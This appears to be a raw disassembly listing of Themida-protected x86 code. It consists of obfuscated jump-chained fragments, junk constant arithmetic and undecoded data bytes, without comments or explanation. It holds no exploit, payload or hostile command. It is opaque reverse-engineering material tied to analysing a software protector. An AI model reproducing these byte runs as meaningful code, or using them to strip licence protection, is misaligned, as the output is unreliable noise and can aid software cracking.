; ---------------------------------------------------------------------------
loc_55638C: ; CODE XREF: Themida_:00557783j
mov esi, 681125D2h
add eax, esi
pop esi
push esi
mov esi, 20B25B9Bh
shr esi, 7
push ebp
mov ebp, 0
push edi
mov edi, 3B3076B1h
jmp loc_54EBD0
; ---------------------------------------------------------------------------
dw 0E95Ah
dd 58Fh, 1845B850h, 17357FDDh, 116AF75h, 0C200E9C2h, 0DD01FFFFh
dd 81241C8Bh, 4C4h, 0EE895600h, 348BF789h, 4C48324h, 8212E9h
db 0
; ---------------------------------------------------------------------------
loc_5563E1: ; CODE XREF: Themida_:005604BAj
mov [esp], ax
mov al, 0E8h
add cl, al
pop ax
xor al, cl
push dword ptr [esp]
mov ecx, [esp]
jmp loc_55318C
; ---------------------------------------------------------------------------
loc_5563F8: ; CODE XREF: Themida_:0054E662j
pop edx
neg cl
jmp loc_54E10C
; ---------------------------------------------------------------------------
loc_556400: ; CODE XREF: Themida_:005532E4j
push edx
push esp
jmp loc_5580A4
; ---------------------------------------------------------------------------
loc_556407: ; CODE XREF: Themida_:0054FC5Ej
push edx
jmp loc_561576
; ---------------------------------------------------------------------------
db 88h, 0F4h, 8Bh
dd 0C4812414h, 4, 5866E328h, 0C380F328h, 148B6618h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_54EBCA
; ---------------------------------------------------------------------------
loc_55642D: ; CODE XREF: Themida_:0055238Bj
not esi
inc esi
push esi
push ecx
pop esi
mov ecx, [esp]
push ebp
mov ebp, esp
add ebp, 4
jmp loc_554DF1
; ---------------------------------------------------------------------------
loc_556444: ; CODE XREF: Themida_:00557EBAj
sub ecx, edx
pop edx
add ecx, ebp
jmp loc_5512D5
; ---------------------------------------------------------------------------
dw 0E95Ch
dd 0FFFFE8A3h, 34FFFA31h, 60E95F24h, 80FFFF91h, 0BEE9DFEBh
db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_556467: ; CODE XREF: Themida_:00561DDCj
pop ebx
pop dword ptr [esp]
mov esp, [esp]
jmp loc_55F8D7
; ---------------------------------------------------------------------------
loc_556473: ; CODE XREF: Themida_:0055F93Bj
xor ebp, 6B394754h
mov ecx, ebp
jmp loc_552D56
; ---------------------------------------------------------------------------
dd 0E905EB80h, 0FFFFD912h, 4BE56h, 16E90000h
db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_556493: ; CODE XREF: Themida_:0055237Dj
add ebx, edi
push dword ptr [esp]
jmp loc_552976
; ---------------------------------------------------------------------------
db 0BBh, 46h, 1Bh
dd 0DF2959D3h, 240C8B5Bh, 0FFA96DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5564AD: ; CODE XREF: Themida_:0055D6CAj
push edi
push eax
mov eax, 6F0C6F7Fh
mov edi, 0C0F4E0DEh
add edi, eax
pop eax
add edi, 74815C82h
add edi, 10C66F11h
xchg esi, edi
not esi
jmp loc_559715
; ---------------------------------------------------------------------------
loc_5564D1: ; CODE XREF: Themida_:0055A7D5j
mov [esp], eax
push ebp
mov ebp, 0A6D4972h
mov eax, 1C5819C3h
xor eax, ebp
pop ebp
and eax, 247624DEh
jmp loc_5614F3
; ---------------------------------------------------------------------------
dd 2D5FF801h, 0B2A97120h, 34FFC101h, 0A12FE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5564FE: ; CODE XREF: Themida_:0055E902j
pop edx
pop ebp
add eax, 2E577F1Ch
jmp loc_54F221
; ---------------------------------------------------------------------------
loc_55650A: ; CODE XREF: Themida_:00550AD6j
mov ebx, 37FE14BEh
push ebp
jmp loc_55DED4
; ---------------------------------------------------------------------------
db 81h, 0C5h, 4
dd 0E9000000h, 0FFFFB961h
; ---------------------------------------------------------------------------
loc_556520: ; CODE XREF: Themida_:00560FB8j
push ecx
mov ecx, 5DE67ADDh
not ecx
dec ecx
not ecx
inc ecx
add ecx, 0B62BB039h
jmp loc_55022F
; ---------------------------------------------------------------------------
db 68h
dd 265Dh, 54240489h, 0FF9A29E9h, 57B850FFh, 311D4CABh
dd 0F80158C7h, 0E9D8295Fh, 9084h
; ---------------------------------------------------------------------------
loc_556558: ; CODE XREF: Themida_:0055EBADj
push 2A4Fh
mov [esp], edi
push 726Bh
mov [esp], ecx
push 441E3259h
pop ecx
push 0
sub [esp], ecx
pop ecx
shl ecx, 2
jmp loc_55A739
; ---------------------------------------------------------------------------
loc_55657F: ; CODE XREF: Themida_:00561BB1j
push dword ptr [esp+4]
mov eax, [esp]
push edi
jmp loc_56253E
; ---------------------------------------------------------------------------
dd 1FB1E94Ah
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_556592: ; CODE XREF: Themida_:00554750j
not dh
jmp loc_554AFD
; ---------------------------------------------------------------------------
loc_556599: ; CODE XREF: Themida_:00562651j
or esi, edx
pop edx
dec esi
jmp loc_5612C0
; ---------------------------------------------------------------------------
dw 815Fh
dd 4C7h, 4BD5500h, 1000000h, 3C875DEFh, 0D8285C24h, 196AE9h
db 0
; ---------------------------------------------------------------------------
loc_5565BD: ; CODE XREF: Themida_:0055FA70j
pop esp
movzx eax, al
jmp loc_5500B9
; ---------------------------------------------------------------------------
loc_5565C6: ; CODE XREF: Themida_:0054DE95j
sub esp, 4
mov [esp], edx
jmp loc_5609EC
; ---------------------------------------------------------------------------
loc_5565D1: ; CODE XREF: Themida_:005580ACj
mov ebp, 4
jmp loc_54E58E
; ---------------------------------------------------------------------------
db 66h
dd 8124048Bh, 2C4h, 8CF8000h, 5192C780h, 0CF0073B1h, 5BFD2859h
dd 0D3F6DD86h, 0AA68DD86h, 0E900000Dh, 241h, 48EFBF57h
dd 0BD5568FDh, 795D3F6Fh, 0AA84E94Dh, 8966FFFFh, 0C8E9241Ch
dd 59FFFF84h, 34815556h, 5B60BE24h, 2810E93Fh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55662E: ; CODE XREF: Themida_:00550DA7j
pop edi
add eax, 93ECE2E4h
jmp loc_55399C
; ---------------------------------------------------------------------------
db 81h, 0CAh, 34h
dd 81138F12h, 3222E9F2h, 5AD589F3h, 15DE831h, 1C8758C3h
dd 28E95C24h
db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_556657: ; CODE XREF: Themida_:00554B2Aj
xchg eax, [esp]
pop esp
mov [esp], edx
push eax
mov al, 96h
mov dh, al
pop eax
push ebx
mov bh, dh
push eax
jmp loc_55DA08
; ---------------------------------------------------------------------------
a313SF db ']3<$1<$3<$é*”',0
align 4
loc_55667C: ; CODE XREF: Themida_:0055EE2Fj
pop dword ptr [esp]
add dword ptr [esp], 4
pop dword ptr [esp]
add dword ptr [esp], 4
pop eax
add eax, 4
sub eax, 4
sub esp, 4
jmp loc_561BAE
; ---------------------------------------------------------------------------
dw 74FFh
dd 8F580424h, 9AE92404h, 83FFFF8Bh, 4A6804C4h, 8900004Bh
dd 68532414h, 4EC04F8Fh, 81241C8Bh, 4C4h, 8CB8100h, 0E90BE15Fh
dd 4FCEh, 4BB05051h, 50C568h, 240C8900h, 0C82828B1h, 0E92434FFh
dd 0FFFFA44Dh, 0FA3DC781h, 73E990C9h, 66000027h, 83242C8Bh
dd 0BEE902C4h, 0BDFFFFC4h, 322A3BCDh, 815DEB31h, 0B9A97DC3h
dd 5BDE0169h, 4184E9h
db 0
; ---------------------------------------------------------------------------
loc_55671D: ; CODE XREF: Themida_:0055E432j
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], edi
jmp loc_5521DD
; ---------------------------------------------------------------------------
dw 0EF01h
dd 243C875Dh, 4EC815Ch, 0E9000000h, 0FFFFB788h, 57E2BF57h
dd 0EF817679h, 0FD852753h, 295FF989h, 0C60159CEh, 308FC681h
dd 525878F4h, 4BAh, 5AD60100h, 2FEEE9h, 0C5E95D00h, 89000047h
dd 88E9243Ch
db 0BFh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55677B: ; CODE XREF: Themida_:005623D6j
pop esp
push edx
mov edx, 293E0C7Eh
inc edx
push edx
not dword ptr [esp]
jmp loc_55FDC7
; ---------------------------------------------------------------------------
dd 4C481h, 0E90000h, 8B0000AFh, 0C483241Ch, 0F32CE904h
dd 0C483FFFFh, 0E7895704h, 4C781h, 0EF830000h, 243C3304h
dd 33243C31h, 79E9243Ch, 89FFFFABh, 0E6892434h, 354BBF57h
dd 8FE91C5Ch, 89000079h, 0C5015BD8h, 242C3358h, 33242C31h
dd 248B242Ch, 0A640E924h, 0C180FFFFh, 0C830587Ch, 55C33059h
dd 4C69E9h, 7EC46800h, 37E90000h, 81FFFFC8h, 0E80571C3h
dd 2434FF5Dh, 8B2CE958h, 0C159FFFFh, 0F74303EBh, 17EB81DBh
dd 8168563Ah, 52FBC7F3h, 5BDD0988h, 343ECD81h, 0C5814459h
dd 0CBCEEC0Bh, 0E95DEE29h, 6E18h, 0C781D7F7h, 52DA0B7Eh
dd 0FFFD00E9h, 241C89FFh, 0EB8030B3h, 0BC3803Fh, 77E9DD00h
dd 5D00008Ch, 0FFEBB2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55685D: ; CODE XREF: Themida_:00552FCFj
push dword ptr [esp]
mov ebx, [esp]
push 22C1h
jmp loc_551862
; ---------------------------------------------------------------------------
db 58h, 0E9h, 9Ch
db 6, 2 dup(0)
; ---------------------------------------------------------------------------
loc_556873: ; CODE XREF: Themida_:00553DD7j
push ebx
mov ebx, 3F525177h
sub ebx, 12763C96h
sub ebx, 7525539Dh
shl ebx, 4
sub ebx, 7B6C143Ch
add eax, ebx
pop ebx
push 6022h
mov [esp], esi
push edx
jmp loc_54E709
; ---------------------------------------------------------------------------
db 89h
dd 4C281E2h, 50000000h, 64D07B8h, 6850522Ah, 7B8492Dh
dd 7EE63558h, 423578D9h, 8926B155h, 0C28158C2h, 30EB01C9h
dd 70E4EA81h, 0D2F73A36h, 269CC281h, 1B68311Ch, 8900007Eh
dd 81B9240Ch, 4103716Ah, 45ACE981h, 0C5E99D96h
db 0A0h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5568EF: ; CODE XREF: Themida_:00551D9Ej
add edi, 583F0C82h
mov ebp, [esp]
jmp loc_55C60E
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 5024048Bh, 405E089h, 83000000h, 48704C0h, 24248B24h
dd 19B6E9h
db 0
; ---------------------------------------------------------------------------
loc_556919: ; CODE XREF: Themida_:0055106Dj
pop esp
mov [esp], esi
push ebp
push edx
jmp loc_550A75
; ---------------------------------------------------------------------------
dd 78F18141h, 890B79D0h, 0FCEDE9CDh, 8850FFFFh, 58E288FCh
dd 60DDE9h, 0C5E95500h, 0E9FFFFB7h, 0FFFF747Dh, 1EFEC181h
dd 0D90168ABh, 1EFEE981h, 318868ABh, 83240C8Bh, 148B04C4h
dd 97CE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_556966: ; CODE XREF: Themida_:005557C3j
pop esi
add esi, 57FA09C2h
jmp loc_552A0F
; ---------------------------------------------------------------------------
dw 0CE28h
dd 8BF03059h, 89562414h, 8969E9E6h, 77FFFFFFh, 2434FF1Ch
dd 26666858h, 2C890000h, 0E9E58924h, 0B56Dh, 2474FF50h
dd 48F5804h, 24248B24h, 64D568h, 240C8900h, 0B05021B1h
dd 8BC13097h, 0C4832404h, 5DE0E904h, 89530000h, 4C381E3h
dd 83000000h, 1C8704C3h, 82B9E924h, 1489FFFFh, 0F3FDE924h
dd 85B9FFFFh, 1D5CEFEh, 908FE9CDh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5569E6: ; CODE XREF: Themida_:0055A622j
add ebx, 7DCB400Dh
sub ebx, edx
sub ebx, 7DCB400Dh
sub ebx, 13155003h
pop edx
sub ebx, 1
dec ebx
sub ebx, 0D7B5C342h
jmp loc_54FCC4
; ---------------------------------------------------------------------------
db 29h, 0C3h, 81h
dd 0C10851C3h, 34EB8172h, 0E911756Dh, 0FFFFFDDFh, 0F708E2C1h
dd 0D6E950D2h, 5BFFFFAEh, 8058E388h, 0D83069C3h, 8B2434FFh
dd 0C483241Ch, 961EE904h, 0EA81FFFFh, 2C9D715Eh, 0C281CA01h
dd 2C9D715Eh, 2E3FEA81h, 0C8B6112h, 0E2895224h, 4C281h
dd 0C2810000h, 4, 5C241487h, 0CAE9EA01h, 68FFFFC7h, 3DEFh
dd 0FFA539E9h, 6DE135FFh, 240D369Fh, 0E9160165h, 0FFFFB515h
dd 0E9241C8Bh, 68EFh, 8ACEF81h, 0B5E90BB4h, 80FFFFF9h
dd 526651CDh, 0D52062B2h, 0CD805A66h, 2E5C027h, 805CCD80h
dd 8852F2F5h, 0E63CE9EAh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_556ABE: ; CODE XREF: Themida_:0055CE7Dj
pop esi
or edx, eax
shl edx, 1
push 4622h
mov [esp], ebx
mov ebx, 24h
push ebp
sub esp, 4
mov [esp], edx
jmp loc_558CD1
; ---------------------------------------------------------------------------
dd 31243433h, 34332434h, 24248B24h, 240C8B66h, 4B3B6850h
dd 24890000h, 0C7E95324h
db 0Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_556AFB: ; CODE XREF: Themida_:0055834Bj
mov [esp], esp
jmp loc_54F6A3
; ---------------------------------------------------------------------------
loc_556B03: ; CODE XREF: Themida_:0055B9F8j
mov ebp, [esp]
add esp, 4
xor esi, 356A771Bh
xchg ebp, esi
inc ebp
xchg ebp, esi
push eax
mov eax, 0FFFFFFFFh
sub esi, eax
pop eax
push ebx
mov ebx, 6307A5Fh
jmp loc_55B4D1
; ---------------------------------------------------------------------------
db 58h
dd 0FFB002E9h, 5E089FFh, 4, 0E904C083h, 0FFFFD26Ah
; ---------------------------------------------------------------------------
loc_556B40: ; CODE XREF: Themida_:0055B58Cj
add esp, 4
add ecx, 4
jmp loc_5577B8
; ---------------------------------------------------------------------------
db 81h, 0ECh, 4
dd 89000000h, 0BD55240Ch, 3EB342A0h, 43E95257h, 5800002Fh
dd 40E9DE89h, 5800003Fh, 0E9243C28h, 321Dh, 0E904E1C1h
dd 0FFFFD950h, 9D1C77FFh, 24041158h, 7237E99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_556B8E: ; CODE XREF: Themida_:0055633Cj
xor edi, edx
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_561A80
; ---------------------------------------------------------------------------
loc_556B9C: ; CODE XREF: Themida_:0055FE17j
pop ebp
push dword ptr [esp]
pop edi
add esp, 4
push ecx
push 6F8C618Fh
jmp loc_5549B4
; ---------------------------------------------------------------------------
db 8Fh
dd 248B2404h, 242C8924h, 0B71EE954h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_556BBE: ; CODE XREF: Themida_:0055C2EBj
xor eax, [esp]
jmp loc_561367
; ---------------------------------------------------------------------------
dw 0BB53h
dd 14F30E5Bh, 58EAC581h, 0DD2927EFh, 0FF8326E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_556BD9: ; CODE XREF: Themida_:0055CF97j
add ecx, 0C68AAB68h
add edi, ecx
mov ecx, [esp]
add esp, 4
xor edi, 20B85B10h
mov ebp, edi
push dword ptr [esp]
pop edi
push edi
push esp
pop edi
add edi, 4
add edi, 4
xchg edi, [esp]
mov esp, [esp]
push ebp
sub dword ptr [esp], 68D912A5h
pop edx
add edx, 68D912A5h
mov ebp, [esp]
sub esp, 4
mov [esp], ebx
jmp loc_55FBB4
; ---------------------------------------------------------------------------
loc_556C28: ; CODE XREF: Themida_:0055A459j
sub ebp, 2E471C79h
sub ebp, edi
add ebp, 2E471C79h
jmp loc_55270B
; ---------------------------------------------------------------------------
db 53h
dd 8904EC83h, 0DAB42404h, 5158E388h, 0C888D988h, 590C5B59h
dd 0B8AE9h, 3AE98000h, 0FFE165E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_556C5D: ; CODE XREF: Themida_:00557C30j
add esi, edi
push ebx
mov ebx, 70E640FBh
sub ebx, 1D4B3397h
sub esi, ebx
pop ebx
mov edi, [esp]
add esp, 4
add ebp, esi
jmp loc_55F79E
; ---------------------------------------------------------------------------
loc_556C7B: ; CODE XREF: Themida_:0055CA8Fj
pop edi
shr eax, 6
push ecx
push esp
pop ecx
add ecx, 4
sub ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_558383
; ---------------------------------------------------------------------------
db 81h, 0EEh, 44h
dd 81274631h, 94247C6h, 240C8B2Ch, 7976E9h, 242C8B00h
dd 0FFF3AEE9h, 5DEA31FFh, 44BFBB53h, 0DBF72038h, 3C21CB81h
dd 0BE5643FCh, 0BE20BAh, 0FF95AEE9h, 3C8759FFh, 0E9565C24h
dd 1789h
; ---------------------------------------------------------------------------
loc_556CDC: ; CODE XREF: Themida_:00554BF2j
push 1072h
jmp loc_55E276
; ---------------------------------------------------------------------------
dw 0EEC1h
dd 54EE8102h, 0F7095A4Eh, 338FE9D6h, 4FB40000h, 492CE9h
dd 2434FF00h, 8B2434FFh, 0C4832404h, 7850E904h, 0EA810000h
dd 422204Ch, 796EE9h, 5E0A6800h, 4890000h, 321DE924h, 0EC810000h
dd 4, 0B9240C89h, 566C4B6Dh, 0E904EC83h, 0FFFF8258h
; ---------------------------------------------------------------------------
loc_556D3C: ; CODE XREF: Themida_:005528AEj
push ecx
mov ecx, 40073B83h
jmp loc_559640
; ---------------------------------------------------------------------------
aVsf db 'Véäš',0
dd 5EBC100h, 8143D3F7h, 12ED87EBh, 3EBC18Ah, 1EB81h, 0E3C10000h
dd 4350E905h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_556D6A: ; CODE XREF: Themida_:00552EB9j
pop eax
pop dword ptr [esp]
pop esp
and edx, 0A070A43h
push 3499h
mov [esp], eax
mov eax, 0A030A02h
sub edx, eax
push dword ptr [esp]
pop eax
add esp, 4
push esi
mov esi, edx
jmp loc_55BDCB
; ---------------------------------------------------------------------------
loc_556D93: ; CODE XREF: Themida_:0056160Dj
or eax, eax
jz loc_5583C2
push 2029h
mov [esp], eax
mov eax, 1Ch
add eax, edi
push dword ptr [eax]
mov ecx, [esp]
jmp loc_54E2EA
; ---------------------------------------------------------------------------
dd 17382768h, 0B2DFE96Ch
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_556DBE: ; CODE XREF: Themida_:00561D93j
mov edx, esp
jmp loc_55A259
; ---------------------------------------------------------------------------
db 81h, 0F6h, 35h
dd 81482372h, 0A5F908C6h, 86AEE9F2h, 0FA01FFFFh, 6EAC15Fh
dd 62E9EA87h
db 9Ch, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_556DE3: ; CODE XREF: Themida_:0055DDE6j
add dword ptr [esp], 1D7548BAh
jmp loc_559816
; ---------------------------------------------------------------------------
db 81h
dd 4ECh, 24348900h, 194D6857h, 0F75F697Dh, 0F3EF81DFh
dd 817E8273h, 0C40B88EFh, 5FFE8998h, 3077CE81h, 3CE921CEh
dd 8BFFFFCFh, 8950241Ch, 405E0h, 4050000h, 87000000h, 5D5C2404h
dd 47E5E681h, 0E6C14836h, 4DC68102h, 1046A6Dh, 24348BF2h
dd 4C481h, 0EA810000h, 3BD451A0h, 0BF57C201h, 3561326Dh
dd 477CF781h, 9E9086Eh, 89000088h, 49E92414h, 8BFFFFFFh
dd 0C3832424h, 241C3302h, 33241C31h, 0DE9241Ch, 89000006h
dd 24048BC3h, 504C483h, 6A406905h, 0FFF320E9h, 6F2FE9FFh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_556E96: ; CODE XREF: Themida_:0054F53Cj
push edi
mov edi, 23E3469Ah
xor eax, edi
push dword ptr [esp]
pop edi
add esp, 4
movzx ax, byte ptr [eax]
push 3209h
mov [esp], ecx
push esp
mov ecx, [esp]
push 5FDEh
mov [esp], eax
push esp
pop eax
push ebx
mov ebx, 671452F9h
and ebx, 2C4D0778h
inc ebx
shl ebx, 6
dec ebx
xor ebx, 1009E3Bh
add eax, ebx
jmp loc_550EC8
; ---------------------------------------------------------------------------
loc_556EE0: ; CODE XREF: Themida_:0054EE6Ej
pop eax
add eax, 4
jmp loc_5549E4
; ---------------------------------------------------------------------------
db 0BDh
dd 70990827h, 6210D8BAh, 0B701E91Ch, 0CA010000h, 29FB68h
dd 240C8900h, 2D08BA52h, 7BE91A29h, 8000006Ah, 0E92CB7EEh
dd 9AE9D82Ch, 530000B7h, 0FFE31DE9h, 241CF7FFh, 6E9BE99Ch
dd 0A4BBFFFFh, 894CE573h, 3CE95BDAh, 33FFFFDDh, 248B2404h
dd 2434FF24h, 6DDD6858h, 2C890000h, 56E58924h, 0C6815E54h
dd 4, 4EE81h, 34870000h, 0C895C24h, 4B924h, 0CD010000h
dd 87E4E959h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_556F6E: ; CODE XREF: Themida_:0055BA4Fj
add ebx, ecx
sub ebx, 2FD91D86h
jmp loc_55EBB2
; ---------------------------------------------------------------------------
db 42h
dd 3BF1C281h, 0D6296827h, 2434875Ah, 242C895Ch, 0FFFF5AE9h
dd 7CC181FFh, 5E5DD040h, 0ABA7E9h, 0C3305B00h, 0FFA2C7E9h
dd 0E9EE2CFFh, 1E87h
; ---------------------------------------------------------------------------
loc_556FAC: ; CODE XREF: Themida_:0055A9E8j
sub ecx, 3BF377B0h
sub ecx, edi
add ecx, 3BF377B0h
pop edi
xor ebx, ecx
mov ecx, [esp]
push esi
mov esi, esp
push ecx
mov ecx, 40226741h
sub ecx, 4022673Dh
jmp loc_552E47
; ---------------------------------------------------------------------------
dd 4C481h, 0BF570000h, 4B0F7417h, 81DFF747h, 0F7417C7h
dd 0F4FEE94Bh, 77FFFFFFh, 2434FF3Ch, 582434FFh, 0E7B68h
dd 0E0EE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_557002: ; CODE XREF: Themida_:0055C609j
push esi
mov esi, esp
add esi, 4
add esi, 4
xor esi, [esp]
xor [esp], esi
jmp loc_54EA6B
; ---------------------------------------------------------------------------
loc_557019: ; CODE XREF: Themida_:0054F11Ej
push 5E6Eh
mov [esp], eax
mov eax, esp
add eax, 4
jmp loc_557CE0
; ---------------------------------------------------------------------------
db 52h, 0FFh, 74h
dd 8F5A0424h, 685C2404h, 3BCDh, 0E9243C89h, 68CAh, 4C481h
dd 0C870000h, 24248B24h, 0FF6D70E9h, 8F5935FFh, 0C381951Dh
dd 76B56E2Eh, 0EB81C329h, 76B56E2Eh, 0FFFAFAE9h, 2749B9FFh
dd 77E92171h, 8B000096h, 2682404h, 8900000Eh, 0EC832414h
dd 24248904h, 4240483h, 4C2815Ah, 50000000h, 0FFC5F3E9h
dd 240C87FFh, 6624248Bh, 9C243CD3h, 0FF6D1CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5570A9: ; CODE XREF: Themida_:0055292Dj
mov [esp], eax
push esi
mov esi, 2F740CA7h
mov eax, esi
mov esi, [esp]
add esp, 4
push ebp
mov ebp, 249969F6h
add dword ptr [esp+8], 697E3E9Bh
add [esp+8], ebp
jmp loc_562072
; ---------------------------------------------------------------------------
db 5Ch, 89h, 34h
dd 5C4EBE24h, 4DE95717h, 5A000031h, 0F553E942h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5570E6: ; CODE XREF: Themida_:00554BCDj
add esp, 4
xor edi, 5BD41542h
push ebx
mov ebx, 1B9A5556h
jmp loc_552F3F
; ---------------------------------------------------------------------------
loc_5570FD: ; CODE XREF: Themida_:00559908j
sub ebx, 3645321Dh
add ebx, edi
add ebx, 3645321Dh
push ebp
mov ebp, 17037940h
shr ebp, 6
add ebp, 7668389Ch
add ebx, ebp
pop ebp
add dword ptr [ebx], 1
jmp loc_55A18C
; ---------------------------------------------------------------------------
loc_557128: ; CODE XREF: Themida_:00557744j
push 3091h
mov [esp], edx
mov edx, 6C2A7E69h
push eax
push 718F5283h
jmp loc_562491
; ---------------------------------------------------------------------------
dd 8B2434FFh
db 4, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
jmp loc_55D5F0
; ---------------------------------------------------------------------------
dd 4C781h, 0EF810000h, 4, 0B412E9h, 5C38100h, 0E9B5E67Ah
dd 0FFFF7F5Ch
; ---------------------------------------------------------------------------
loc_557170: ; CODE XREF: Themida_:005592B6j
pop esp
mov edx, 7ACB576Dh
xor edx, ecx
mov ecx, [esp]
add esp, 4
jmp loc_551A19
; ---------------------------------------------------------------------------
dw 0C181h
dd 4, 5C240C87h, 8B24048Fh, 34FF2424h, 8E8BE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55719E: ; CODE XREF: Themida_:00551A86j
add eax, 4567301Ah
add eax, 6C891336h
jmp loc_55D193
; ---------------------------------------------------------------------------
db 81h, 0E9h, 16h
dd 8106243Ch, 0C11CE8C9h, 9FFBE928h, 5466FFFFh, 24048F66h
dd 0FFC539E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5571C9: ; CODE XREF: Themida_:0055FC7Aj
add edx, 4
jmp loc_55305D
; ---------------------------------------------------------------------------
dd 7995E952h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5571DA: ; CODE XREF: Themida_:005614E3j
push ebx
xchg ebx, [esp]
jmp loc_54E587
; ---------------------------------------------------------------------------
loc_5571E3: ; CODE XREF: Themida_:0055F2CFj
push 33E2h
mov [esp], ebp
mov ebp, 5BCE189Fh
jmp loc_557CC4
; ---------------------------------------------------------------------------
loc_5571F5: ; CODE XREF: Themida_:005517D1j
add edi, 22B03861h
pop ebp
pop esi
and eax, edi
pop edi
jmp loc_556145
; ---------------------------------------------------------------------------
db 33h, 2Ch, 24h
dd 33242C31h, 248B242Ch, 26685124h, 89000011h, 0CBE92424h
dd 51FFFFD5h, 0C181E189h, 4, 4C181h, 0C870000h, 4335C24h
dd 24043124h, 5C240433h, 0FFE87CE9h, 8BDE01FFh, 2CE9241Ch
dd 5C000030h, 0FFC0A6E9h, 235C68FFh, 36E9500Dh, 50FFFFE1h
dd 721B56B8h, 2AD52D0Dh, 0D8F7779Dh, 0D4F08505h, 96CBE995h
dd 14890000h, 4EC8124h, 89000000h, 4832424h, 34FF0424h
dd 89565A24h, 4BF57E6h, 1000000h, 243C8BFEh, 81E78957h
dd 4C7h, 4C78300h, 4EC81h, 5FE90000h
db 3Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5572AB: ; CODE XREF: Themida_:00551333j
xor esi, 18061DCFh
sub esi, 0D3722587h
add ecx, 5FCB659Eh
sub ecx, esi
sub ecx, 5FCB659Eh
pop esi
mov eax, [esp]
add esp, 4
pop esi
jmp loc_5522D3
; ---------------------------------------------------------------------------
aCUyCS db 'µc îYÀæ',7,'é¿~',0
align 2
dw 0C483h
dd 2434FF04h, 4C4815Bh, 0E9000000h, 0FFFF6AD1h, 0CAE9028Fh
db 6Ah, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5572FB: ; CODE XREF: Themida_:00554FD9j
mov esi, 1AAA4335h
add esi, 6A08141Dh
dec esi
sub esi, 0FFFFFFFFh
neg esi
add esi, 84B25756h
jmp loc_550B5B
; ---------------------------------------------------------------------------
a1Ysf7 db '1ÈYéä7',0
align 2
loc_557322: ; CODE XREF: Themida_:0055DF53j
pop dx
push eax
push edx
mov dl, 0B2h
push ebx
jmp loc_5615DA
; ---------------------------------------------------------------------------
aISjl db '‰Ã醫',0
dd 24048900h, 5A55EEB8h, 5E8C107h, 0FF7021E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_557345: ; CODE XREF: Themida_:0054F5C8j
pop eax
push ecx
mov ecx, 28D70D45h
xor ecx, 28D70D41h
jmp loc_555E19
; ---------------------------------------------------------------------------
db 89h
dd 0E2892414h, 4C281h, 4D680000h, 8900001Eh, 5A542414h
dd 4C281h, 0B9510000h, 4, 8759CA29h, 248B2414h, 241C8924h
dd 4BBh, 0FFDA2900h, 835B2434h, 17E904C4h, 5FFFFFA3h, 0FF88C6E9h
dd 241C33FFh, 91B6E9h, 0E9535500h, 313Fh, 8304C483h, 0BE5604C4h
dd 4, 0CD6C781h, 0F7016625h, 0CD6EF81h, 505E6625h, 413ED4B8h
dd 0D6BE563Dh, 0E93D413Eh, 4545h
; ---------------------------------------------------------------------------
loc_5573D8: ; CODE XREF: Themida_:0055088Bj
pop esp
mov [esp], ecx
mov ecx, esp
push eax
push 4
mov eax, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
sub ecx, 1D380DE6h
sub ecx, 27695C68h
add ecx, eax
push ebp
mov ebp, 11E156D6h
not ebp
dec ebp
sub ebp, 0C6B54CC0h
add ecx, ebp
pop ebp
add ecx, 1D380DE6h
mov eax, [esp]
add esp, 4
sub ecx, 2
xor ecx, [esp]
xor [esp], ecx
jmp loc_55118C
; ---------------------------------------------------------------------------
loc_55743D: ; CODE XREF: Themida_:0054ED48j
shl edi, 2
jmp loc_558253
; ---------------------------------------------------------------------------
db 89h, 0E1h, 81h
dd 4C1h, 4C18100h, 87000000h, 3DE9240Ch, 81000027h, 393AB7C9h
dd 8E9C102h, 0FF8343E9h, 4C481FFh, 53000000h, 194BA52h
dd 0E2813324h, 365C30BBh, 2016F281h, 0DAF76250h, 0E904EAC1h
dd 0AD22h, 5C03685Ch, 2C890000h, 81E58924h, 4C5h, 9FE95000h
db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5574A3: ; CODE XREF: Themida_:0055995Bj
add ebp, edi
jmp loc_5625ED
; ---------------------------------------------------------------------------
dw 0BF57h
dd 81C44DB1h, 0FF7F73E9h, 242C87FFh, 8924248Bh, 0B951241Ch
